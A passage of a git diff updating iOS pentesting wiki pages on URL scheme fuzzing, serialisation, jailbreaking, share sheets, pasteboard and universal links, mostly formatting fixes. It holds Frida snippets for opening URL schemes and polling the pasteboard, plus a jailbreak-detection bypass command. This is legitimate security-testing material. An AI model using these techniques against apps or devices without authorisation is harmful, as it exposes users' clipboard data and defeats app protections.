ObjC.classes.UIApplication.sharedApplication(); + var toOpen = ObjC.classes.NSURL.URLWithString_(url); + return UIApplication.openURL_(toOpen); + } + [iPhone::iGoat-Swift]-> openURL("tel://234234234") + true + ``` - In this example from [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) the author uses the non-public API `LSApplicationWorkspace.openSensitiveURL:withOptions:` to open the URLs \(from the SpringBoard app\): + In this example from [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) the author uses the non-public API `LSApplicationWorkspace.openSensitiveURL:withOptions:` to open the URLs (from the SpringBoard app): - ```javascript - function openURL(url) { - var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace(); - var toOpen = ObjC.classes.NSURL.URLWithString_(url); - return w.openSensitiveURL_withOptions_(toOpen, null); - } - ``` + ```javascript + function openURL(url) { + var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace(); + var toOpen = ObjC.classes.NSURL.URLWithString_(url); + return w.openSensitiveURL_withOptions_(toOpen, null); + } + ``` - > Note that the use of non-public APIs is not permitted on the App Store, that's why we don't even test these but we are allowed to use them for our dynamic analysis. + > Note that the use of non-public APIs is not permitted on the App Store, that's why we don't even test these but we are allowed to use them for our dynamic analysis. ### Fuzzing URL Schemes @@ -154,13 +154,13 @@ What we have learned above can be now used to build your own fuzzer on the langu * Generate payloads. * For each of them call `openURL`. -* Check if the app generates a crash report \(`.ips`\) in `/private/var/mobile/Library/Logs/CrashReporter`. +* Check if the app generates a crash report (`.ips`) in `/private/var/mobile/Library/Logs/CrashReporter`. The [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) project offers fuzzing dictionaries that you can use as payloads. ### **Fuzzing Using Frida** -Doing this with Frida is pretty easy, you can refer to this [blog post](https://grepharder.github.io/blog/0x03_learning_about_universal_links_and_fuzzing_url_schemes_on_ios_with_frida.html) to see an example that fuzzes the iGoat-Swift app \(working on iOS 11.1.2\). +Doing this with Frida is pretty easy, you can refer to this [blog post](https://grepharder.github.io/blog/0x03\_learning_about_universal_links_and_fuzzing_url_schemes_on_ios_with_frida.html) to see an example that fuzzes the iGoat-Swift app (working on iOS 11.1.2). Before running the fuzzer we need the URL schemes as inputs. From the static analysis we know that the iGoat-Swift app supports the following URL scheme and parameters: `iGoat://?contactNumber={0}&message={0}`. @@ -174,7 +174,5 @@ Opened URL: iGoat://?contactNumber=0&message=0 ## References -{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction\#testing-object-persistence-mstg-platform-8" %} - - +{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} diff --git a/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md b/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md index c0a5f83b..b344d194 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md @@ -112,7 +112,7 @@ struct CustomPointStruct: Codable { #### JSON Encoding -There are a lot of thrid party libraries to encode data in JSON \(like exposed [here](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)\). However, Apple provides support for JSON encoding/decoding directly by combining `Codable` together with a `JSONEncoder` and a `JSONDecoder`: +There are a lot of thrid party libraries to encode data in JSON (like exposed [here](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). However, Apple provides support for JSON encoding/decoding directly by combining `Codable` together with a `JSONEncoder` and a `JSONDecoder`: ```swift struct CustomPointStruct: Codable { @@ -142,13 +142,11 @@ They vary in terms of speed, memory usage, object persistence and more important When not using third party libraries, but Apple's `XMLParser`, be sure to let `shouldResolveExternalEntities` return `false`. {% hint style="danger" %} -All these ways of serialising/encoding data can be **used to store data in the file system**. In those scenarios, check if the stored data contains any kind of **sensitive information**. -Moreover, in some cases you may be able to **abuse some serialised** data \(capturing it via MitM or modifying it inside the filesystem\) deserializing arbitrary data and **making the application perform unexpected actions** \(see [Deserialization page](../../pentesting-web/deserialization/)\). In these cases, it's recommended to send/save the serialised data encrypted and signed. +All these ways of serialising/encoding data can be** used to store data in the file system**. In those scenarios, check if the stored data contains any kind of **sensitive information**.\ +Moreover, in some cases you may be able to **abuse some serialised** data (capturing it via MitM or modifying it inside the filesystem) deserializing arbitrary data and **making the application perform unexpected actions **(see [Deserialization page](../../pentesting-web/deserialization/)). In these cases, it's recommended to send/save the serialised data encrypted and signed. {% endhint %} ### References -{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction\#testing-object-persistence-mstg-platform-8" %} - - +{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} diff --git a/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md b/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md index ee85dc67..4cfe0516 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md @@ -4,8 +4,8 @@ A **provisioning identity** is a collection of public and private keys that are associated an Apple developer account. In order to **sign apps** you need to pay **99$/year** to register in the **Apple Developer Program** to get your provisioning identity. Without this you won't be able to run applications from the source code in a physical device. Another option to do this is to use a **jailbroken device**. -Starting in Xcode 7.2 Apple has provided an option to create a **free iOS development provisioning profile** that allows to write and test your application on a real iPhone. Go to _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ \(Add new Appli ID you your credentials\) --> _Click on the Apple ID created_ --> _Manage Certificates_ --> _+_ \(Apple Development\) --> _Done_ -Then, in order to run your application in your iPhone you need first to **indicate the iPhone to trust the computer.** Then, you can try to **run the application in the mobile from Xcode,** but and error will appear. So go to _Settings_ --> _General_ --> _Profiles and Device Management_ --> Select the untrusted profile and click "**Trust**". +Starting in Xcode 7.2 Apple has provided an option to create a **free iOS development provisioning profile** that allows to write and test your application on a real iPhone. Go to _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Add new Appli ID you your credentials) --> _Click on the Apple ID created_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ +__Then, in order to run your application in your iPhone you need first to **indicate the iPhone to trust the computer. **Then, you can try to **run the application in the mobile from Xcode,** but and error will appear. So go to _Settings_ --> _General_ --> _Profiles and Device Management_ --> Select the untrusted profile and click "**Trust**". Note that **applications signed by the same signing certificate can share resources on a secure manner, like keychain items**. @@ -23,18 +23,18 @@ Note that a **simulator isn't the same as en emulator**. The simulator just simu The first thing you need to know is that **performing a pentest inside a simulator will much more limited than doing it in a jailbroken device**. -All the tools required to build and support an iOS app are **only officially supported on Mac OS**. -Apple's de facto tool for creating/debugging/instrumenting iOS applications is **Xcode**. It can be used to download other components such as **simulators** and different **SDK** **versions** required to build and **test** your app. +All the tools required to build and support an iOS app are **only officially supported on Mac OS**.\ +Apple's de facto tool for creating/debugging/instrumenting iOS applications is **Xcode**. It can be used to download other components such as **simulators** and different **SDK** **versions** required to build and **test** your app.\ It's highly recommended to **download** Xcode from the **official app store**. Other versions may be carrying malware. The simulator files can be found in `/Users//Library/Developer/CoreSimulator/Devices` -To open the simulator, run Xcode, then press in the _Xcode tab_ --> _Open Developer tools_ --> _Simulator_ -In the following image clicking in "iPod touch \[...\]" you can select other device to test in: +To open the simulator, run Xcode, then press in the _Xcode tab_ --> _Open Developer tools_ --> _Simulator_\ +__In the following image clicking in "iPod touch \[...]" you can select other device to test in: -![](../../.gitbook/assets/image%20%28459%29.png) +![](<../../.gitbook/assets/image (457).png>) -![](../../.gitbook/assets/image%20%28460%29.png) +![](<../../.gitbook/assets/image (458).png>) ### Applications in the Simulator @@ -70,17 +70,17 @@ iOS jailbreaking is often **compared to Android rooting**, but the process is ac * **Rooting**: This typically involves installing the `su` binary on the system or replacing the whole system with a rooted custom ROM. Exploits aren't required to obtain root access as long as the bootloader is accessible. * **Flashing custom ROMs**: This allows you to replace the OS that's running on the device after you unlock the bootloader. The bootloader may require an exploit to unlock it. -**On iOS devices, flashing a custom ROM is impossible** because the iOS bootloader **only allows Apple-signed images** to be booted and flashed. This is why even **official iOS images can't be installed if they aren't signed by Apple, and it makes iOS downgrades only possible for as long as the previous iOS version is still signed.** +**On iOS devices, flashing a custom ROM is impossible **because the iOS bootloader **only allows Apple-signed images** to be booted and flashed. This is why even **official iOS images can't be installed if they aren't signed by Apple, and it makes iOS downgrades only possible for as long as the previous iOS version is still signed.** -The purpose of jailbreaking is to **disable iOS protections** \(Apple's code signing mechanisms in particular\) so that **arbitrary unsigned code can run on the device** \(e.g. custom code or downloaded from alternative app stores such as Cydia or Sileo\). The word "jailbreak" is a colloquial reference to all-in-one tools that automate the disabling process. +The purpose of jailbreaking is to **disable iOS protections** (Apple's code signing mechanisms in particular) so that **arbitrary unsigned code can run on the device** (e.g. custom code or downloaded from alternative app stores such as Cydia or Sileo). The word "jailbreak" is a colloquial reference to all-in-one tools that automate the disabling process. ### Jailbreaking Considerations -Jailbreaking an iOS device is becoming more and more **complicated** because Apple keeps hardening the system and patching the exploited vulnerabilities. Jailbreaking has become a very time-sensitive procedure because **Apple stops signing these vulnerable versions relatively soon after releasing a fix** \(unless the jailbreak benefits from hardware-based vulnerabilities, such as the [limera1n exploit](https://www.theiphonewiki.com/wiki/Limera1n) affecting the BootROM of the iPhone 4 and iPad 1\). This means that **you can't downgrade to a specific iOS version once Apple stops signing the firmware**. +Jailbreaking an iOS device is becoming more and more **complicated** because Apple keeps hardening the system and patching the exploited vulnerabilities. Jailbreaking has become a very time-sensitive procedure because **Apple stops signing these vulnerable versions relatively soon after releasing a fix** (unless the jailbreak benefits from hardware-based vulnerabilities, such as the [limera1n exploit](https://www.theiphonewiki.com/wiki/Limera1n) affecting the BootROM of the iPhone 4 and iPad 1). This means that **you can't downgrade to a specific iOS version once Apple stops signing the firmware**. -If you have a jailbroken device that you use for security testing, **keep it** as is unless you're 100% sure that you can re-jailbreak it after upgrading to the latest iOS version. +If you have a jailbroken device that you use for security testing,** keep it **as is unless you're 100% sure that you can re-jailbreak it after upgrading to the latest iOS version. -iOS upgrades are based on a challenge-response process \(generating the so-called SHSH blobs as a result\). The device will allow the OS installation only if the response to the challenge is signed by Apple. This is what researchers call a "signing window", and it is the reason **you can't simply store the OTA firmware package you downloaded and load it onto the device whenever you want to**. During minor iOS upgrades, two versions may both be signed by Apple \(the latest one, and the previous iOS version\). This is the only situation in which you can downgrade the iOS device. You can c**heck the current signing window and download OTA firmware from the** [**IPSW Downloads website**](https://ipsw.me). +iOS upgrades are based on a challenge-response process (generating the so-called SHSH blobs as a result). The device will allow the OS installation only if the response to the challenge is signed by Apple. This is what researchers call a "signing window", and it is the reason **you can't simply store the OTA firmware package you downloaded and load it onto the device whenever you want to**. During minor iOS upgrades, two versions may both be signed by Apple (the latest one, and the previous iOS version). This is the only situation in which you can downgrade the iOS device. You can c**heck the current signing window and download OTA firmware from the **[**IPSW Downloads website**](https://ipsw.me). {% hint style="danger" %} **Updating the OS removes the effect of jailbreaking.** @@ -88,28 +88,28 @@ iOS upgrades are based on a challenge-response process \(generating the so-calle ### Jailbreak Types -* **Tethered** **jailbreaks** don't persist through reboots, so re-applying jailbreaks requires the device to be connected \(tethered\) to a computer during every reboot. The device may not reboot at all if the computer is not connected. +* **Tethered** **jailbreaks** don't persist through reboots, so re-applying jailbreaks requires the device to be connected (tethered) to a computer during every reboot. The device may not reboot at all if the computer is not connected. * **Semi-tethered jailbreaks** can't be re-applied unless the device is connected to a computer during reboot. The device can also boot into non-jailbroken mode on its own. -* **Semi-untethered jailbreaks** allow the device to boot on its own, but the kernel patches \(or user-land modifications\) for disabling code signing aren't applied automatically. The user must re-jailbreak the device by starting an app or visiting a website \(not requiring a connection to a computer, hence the term untethered\). +* **Semi-untethered jailbreaks **allow the device to boot on its own, but the kernel patches (or user-land modifications) for disabling code signing aren't applied automatically. The user must re-jailbreak the device by starting an app or visiting a website (not requiring a connection to a computer, hence the term untethered). * **Untethered jailbreaks** are the most popular choice for end users because they need to be applied only once, after which the device will be permanently jailbroken. ### Jailbreaking Tools -Different iOS versions require **different jailbreaking techniques**. [Determine whether a public jailbreak is available for your version of iOS](https://canijailbreak.com/). Beware of fake tools and spyware, which are often hiding behind domain names that are similar to the name of the jailbreaking group/author. +Different iOS versions require **different jailbreaking techniques**. [Determine whether a public jailbreak is available for your version of iOS](https://canijailbreak.com). Beware of fake tools and spyware, which are often hiding behind domain names that are similar to the name of the jailbreaking group/author. The iOS jailbreak scene evolves so rapidly that providing up-to-date instructions is difficult. However, we can point you to some sources that are currently reliable. -* \*\*\*\*[**Can I Jailbreak?**](https://canijailbreak.com/)\*\*\*\* -* \*\*\*\*[**The iPhone Wiki**](https://www.theiphonewiki.com/)\*\*\*\* -* \*\*\*\*[**Redmond Pie**](https://www.redmondpie.com/)\*\*\*\* -* \*\*\*\*[**Reddit Jailbreak**](https://www.reddit.com/r/jailbreak/)\*\*\*\* -* [**https://checkra.in/**](https://checkra.in/)\*\*\*\* +* ****[**Can I Jailbreak?**](https://canijailbreak.com)**** +* ****[**The iPhone Wiki**](https://www.theiphonewiki.com)**** +* ****[**Redmond Pie**](https://www.redmondpie.com)**** +* ****[**Reddit Jailbreak**](https://www.reddit.com/r/jailbreak/)**** +* [**https://checkra.in/**](https://checkra.in)**** > Note that any modification you make to your device is at your own risk. While jailbreaking is typically safe, things can go wrong and you may end up bricking your device. No other party except yourself can be held accountable for any damage. ### Benefits -The most important side effect of Jailbreaking is that it **removes any sandboxing put in place by the OS**. Therefore, any **app on the device can read any file** on the filesystem, including other apps files, cookies and keychain. +The most important side effect of Jailbreaking is that it** removes any sandboxing put in place by the OS**. Therefore, any **app on the device can read any file **on the filesystem, including other apps files, cookies and keychain. A jailbroken device allows users to **install unapproved apps** and leverage **more APIs**, which otherwise aren't accessible. @@ -119,7 +119,9 @@ A jailbroken device allows users to **install unapproved apps** and leverage **m ### **After Jailbreaking** -{% page-ref page="basic-ios-testing-operations.md" %} +{% content-ref url="basic-ios-testing-operations.md" %} +[basic-ios-testing-operations.md](basic-ios-testing-operations.md) +{% endcontent-ref %} ### **Jailbreak Detection** @@ -131,7 +133,6 @@ A jailbroken device allows users to **install unapproved apps** and leverage **m * The presence of the **OpenSSH** service * Calling `/bin/sh` will **return 1** instead of 0 -**More information about how to detect jailbreaking** [**here**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** - -You can try to avoid this detections using **objection's** `ios jailbreak disable` +**More information about how to detect jailbreaking **[**here**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** +You can try to avoid this detections using **objection's **`ios jailbreak disable` diff --git a/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md b/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md index 7672cb63..dd289b44 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md @@ -2,7 +2,7 @@ ## UIActivity Sharing -Starting on iOS 6 it is possible for third-party apps to **share data \(items\)** via specific mechanisms [like AirDrop, for example](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). From a user perspective, this feature is the well-known system-wide _share activity sheet_ that appears after clicking on the "Share" button. +Starting on iOS 6 it is possible for third-party apps to **share data (items) **via specific mechanisms [like AirDrop, for example](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). From a user perspective, this feature is the well-known system-wide _share activity sheet_ that appears after clicking on the "Share" button. A full list of the available built-in sharing mechanisms can be found in [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). If not considered appropriate for the app, the d**evelopers have the possibility to exclude some of these sharing mechanisms**. @@ -10,16 +10,16 @@ A full list of the available built-in sharing mechanisms can be found in [UIActi When testing `UIActivity` Sharing you should pay special attention to: -* the data \(items\) being shared, +* the data (items) being shared, * the custom activities, * the excluded activity types. -Data sharing via `UIActivity` works by creating a `UIActivityViewController` and passing it the desired items \(URLs, text, a picture\) on [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init). +Data sharing via `UIActivity` works by creating a `UIActivityViewController` and passing it the desired items (URLs, text, a picture) on [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init). If having the source code, you should take a look at the `UIActivityViewController`: * Inspect the activities passed to the `init(activityItems:applicationActivities:)` method. -* Check if it defines custom activities \(also being passed to the previous method\). +* Check if it defines custom activities (also being passed to the previous method). * Verify the `excludedActivityTypes`, if any. If you only have the compiled/installed app, try searching for the previous method and property, for example: @@ -33,9 +33,9 @@ $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems When receiving items, you should check: -* if the app **declares** _**custom document types**_ ****by looking into **Exported/Imported UTIs** \("Info" tab of the Xcode project\). The list of all system declared UTIs \(Uniform Type Identifiers\) can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259). -* if the app specifies any _**document types that it can open**_ by looking into **Document Types** \("Info" tab of the Xcode project\). If present, they consist of name and one or more UTIs that represent the data type \(e.g. "public.png" for PNG files\). iOS uses this to determine if the app is eligible to open a given document \(specifying Exported/Imported UTIs is not enough\). -* if the app properly _**verifies the received data**_ by looking into the implementation of [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) \(or its deprecated version [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)\) in the app delegate. +* if the app **declares **_**custom document types**_** **by looking into **Exported/Imported UTIs **("Info" tab of the Xcode project). The list of all system declared UTIs (Uniform Type Identifiers) can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259). +* if the app specifies any _**document types that it can open**_ by looking into **Document Types **("Info" tab of the Xcode project). If present, they consist of name and one or more UTIs that represent the data type (e.g. "public.png" for PNG files). iOS uses this to determine if the app is eligible to open a given document (specifying Exported/Imported UTIs is not enough). +* if the app properly _**verifies the received data**_ by looking into the implementation of [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (or its deprecated version [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) in the app delegate. If not having the source code you can still take a look into the `Info.plist` file and search for: @@ -44,26 +44,26 @@ If not having the source code you can still take a look into the `Info.plist` fi A very complete explanation about the use of these keys can be found [on Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) but here you have a summary: -* `UTExportedTypeDeclarations`: Use them to define **your own UTIs** that your app wants to teach the system it is installed on. An **UTI describes a piece of data** \(_not necessarily data located inside a file!_\) and requires at least an **identifier** \(`com.example.MyCoolDataType`\). Additionally it may have a **name** \(`My Cool Data Type`\), one or more file name **extensions** \(`.myCoolDataType`\), one or more **MIME** **types** \(`x-application/my-cool-data-type`\), one or more **pasteboard** **types** \(used when transferring data of that kind using copy&paste\), and one or more **legacy OS type**. Usually you also want UTIs to conform to existing UTIs \(E.g. when you say your UTI conforms to `public.data`, any process that can deal with generic data can also deal with your UTI\). +* `UTExportedTypeDeclarations`: Use them to define **your own UTIs** that your app wants to teach the system it is installed on. An **UTI describes a piece of data** (_not necessarily data located inside a file!_) and requires at least an **identifier** (`com.example.MyCoolDataType`). Additionally it may have a **name** (`My Cool Data Type`), one or more file name **extensions** (`.myCoolDataType`), one or more **MIME** **types** (`x-application/my-cool-data-type`), one or more **pasteboard** **types** (used when transferring data of that kind using copy\&paste), and one or more **legacy OS type**. Usually you also want UTIs to conform to existing UTIs (E.g. when you say your UTI conforms to `public.data`, any process that can deal with generic data can also deal with your UTI). * e.g.: You define your own proprietary file data format and you want this data format to be also known to other apps, plugins, extensions, and so on. * `UTImportedTypeDeclarations`: You use `UTImportedTypeDeclarations` do **teach the system about UTIs that you want to be known in the system but that are not your UTIs**. * e.g.: Your app is able to read the proprietary data format of another application, yet you don't know if that application is even installed on the system. -* `CFBundleDocumentTypes`: You use `CFBundleDocumentTypes` to tell the system which Document types your app is able to open. Unless you **also list your UTIs here**, these UTIs are not associated with your app in Finder and your app won't appear in the `Open With >` menu. The only thing you always must set for a document type is the role. The **role** can be "**Viewer**" \(you can display that file type but you cannot edit it\), "**Editor**" \(you can display and edit that file type\), "**None**" \(it's not specified what you can do with that file\). +* `CFBundleDocumentTypes`: You use `CFBundleDocumentTypes` to tell the system which Document types your app is able to open. Unless you **also list your UTIs here**, these UTIs are not associated with your app in Finder and your app won't appear in the `Open With >` menu. \ + The only thing you always must set for a document type is the role. The **role** can be "**Viewer**" (you can display that file type but you cannot edit it), "**Editor**" (you can display and edit that file type), "**None**" (it's not specified what you can do with that file). * e.g.: You want your **app do be associated with certain file types**, identified either by extension, by MIME type, or by UTI identifier. **If you want your app to be associated with an UTI type, the app should either import or export the type**, as otherwise the type may not be known to the system and registering to unknown UTI type has simply no effect at all. ### Dynamic Testing For **sending activities** you can: -* Hook the method we have seen in the static analysis \([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)\) to get the `activityItems` and `applicationActivities`. +* Hook the method we have seen in the static analysis ([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)) to get the `activityItems` and `applicationActivities`. * Find out the excluded activities by hooking [`excludedActivityTypes` property](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes). For receiving items you can: -* _Share_ a file with the app from another app or send it via AirDrop or e-mail. Choose the file so that it will trigger the "Open with..." dialogue \(that is, there is no default app that will open the file, a PDF for example\). +* _Share_ a file with the app from another app or send it via AirDrop or e-mail. Choose the file so that it will trigger the "Open with..." dialogue (that is, there is no default app that will open the file, a PDF for example). * Hook `application:openURL:options:` and any other methods that were identified in a previous static analysis. * Observe the app behavior. * In addition, you could send specific malformed files and/or use a fuzzing technique. -**Read how** [**here**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.** - +**Read how **[**here**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.** diff --git a/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md b/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md index 99c2ac40..4a083d4b 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md @@ -2,8 +2,8 @@ The [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) enables sharing data within an app, and from an app to other apps. There are two kinds of pasteboards: -* **systemwide general pasteboard**: for sharing data with **any app**. Persistent by default across device restarts and app uninstalls \(since iOS 10\). -* **custom / named pasteboards**: for sharing data **with another app** \(having the same team ID as the app to share from\) or with the **app itself** \(they are only available in the process that creates them\). Non-persistent by default \(since iOS 10\), that is, they exist only until the owning \(creating\) app quits. +* **systemwide general pasteboard**: for sharing data with** any app**. Persistent by default across device restarts and app uninstalls (since iOS 10). +* **custom / named pasteboards**: for sharing data **with another app** (having the same team ID as the app to share from) or with the **app itself **(they are only available in the process that creates them). Non-persistent by default (since iOS 10), that is, they exist only until the owning (creating) app quits. Some security considerations: @@ -12,10 +12,10 @@ Some security considerations: * [Apple warns about persistent named pasteboards](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) and **discourages their use**. Instead, shared containers should be used. * Starting in iOS 10 there is a new Handoff feature called **Universal Clipboard** that is enabled by default. It allows the **general pasteboard contents to automatically transfer between devices**. This feature can be disabled if the developer chooses to do so and it is also possible to set an expiration time and date for copied data. -Then, it's important to **check that sensitive information isn't being saved inside the global pasteboard**. +Then, it's important to **check that sensitive information isn't being saved inside the global pasteboard**.\ It's also important to check that an **application isn't using the global pasteboard data to perform actions**, as malicious application could tamper this data. -An **application can also prevent its users to copy sensitive data to the clipboard** \(which is recommended\). +An **application can also prevent its users to copy sensitive data to the clipboard** (which is recommended). ### Static Analysis @@ -37,8 +37,8 @@ When **monitoring** the **pasteboards**, there is several **details** that may b * Obtain **pasteboard name** by hooking `pasteboardWithName:create:` and inspecting its input parameters or `pasteboardWithUniqueName` and inspecting its return value. * Get the **first available pasteboard item**: e.g. for strings use `string` method. Or use any of the other methods for the [standard data types](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275). * Get the **number of items** with `numberOfItems`. -* Check for **existence of standard data types** with the [convenience methods](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), e.g. `hasImages`, `hasStrings`, `hasURLs` \(starting in iOS 10\). -* Check for **other data types** \(typically UTIs\) with [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). You may inspect for more concrete data types like, for example an picture as public.png and public.tiff \([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)\) or for custom data such as com.mycompany.myapp.mytype. Remember that, in this case, only those apps that _declare knowledge_ of the type are able to understand the data written to the pasteboard. Retrieve them using [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) and setting the corresponding UTIs. +* Check for **existence of standard data types** with the [convenience methods](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), e.g. `hasImages`, `hasStrings`, `hasURLs` (starting in iOS 10). +* Check for **other data types **(typically UTIs) with [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). You may inspect for more concrete data types like, for example an picture as public.png and public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) or for custom data such as com.mycompany.myapp.mytype. Remember that, in this case, only those apps that _declare knowledge_ of the type are able to understand the data written to the pasteboard. Retrieve them using [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) and setting the corresponding UTIs. * Check for excluded or expiring items by hooking `setItems:options:` and inspecting its options for `UIPasteboardOptionLocalOnly` or `UIPasteboardOptionExpirationDate`. If only looking for strings you may want to use **objection's** command `ios pasteboard monitor`: @@ -47,7 +47,7 @@ If only looking for strings you may want to use **objection's** command `ios pas You may also build your own pasteboard monitor that monitors specific information as seen above. -For example, this script \(inspired from the script behind [objection's pasteboard monitor](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)\) reads the pasteboard items every 5 seconds, if there's something new it will print it: +For example, this script (inspired from the script behind [objection's pasteboard monitor](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)) reads the pasteboard items every 5 seconds, if there's something new it will print it: ```javascript const UIPasteboard = ObjC.classes.UIPasteboard; @@ -75,7 +75,5 @@ setInterval(function () { ## References -{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction\#testing-object-persistence-mstg-platform-8" %} - - +{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} diff --git a/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md b/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md index b9621ef7..4b7c94f4 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md @@ -1,10 +1,10 @@ # iOS Universal Links -Universal links allows to **redirect users directly** to the app without passing through safari for redirection. -Universal links are **unique**, so they **can't be claimed by other app**s because they use standard HTTP\(S\) links to the **website where the owner has uploaded a file to make sure that the website and the app are related**. -As these links uses HTTP\(S\) schemes, when the **app isn't installed, safari will open the link** redirecting the users to the page. These allows **apps to communicate with the app even if it isn't installed**. +Universal links allows to **redirect users directly** to the app without passing through safari for redirection.\ +Universal links are **unique**, so they **can't be claimed by other app**s because they use standard HTTP(S) links to the **website where the owner has uploaded a file to make sure that the website and the app are related**.\ +As these links uses HTTP(S) schemes, when the **app isn't installed, safari will open the link** redirecting the users to the page. These allows **apps to communicate with the app even if it isn't installed**. -To create universal links it's needed to **create a JSON file called `apple-app-site-association`** with the details. Then this file needs to be **hosted in the root directory of your webserver** \(e.g. [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)\). +To create universal links it's needed to **create a JSON file called `apple-app-site-association` **with the details. Then this file needs to be **hosted in the root directory of your webserver** (e.g. 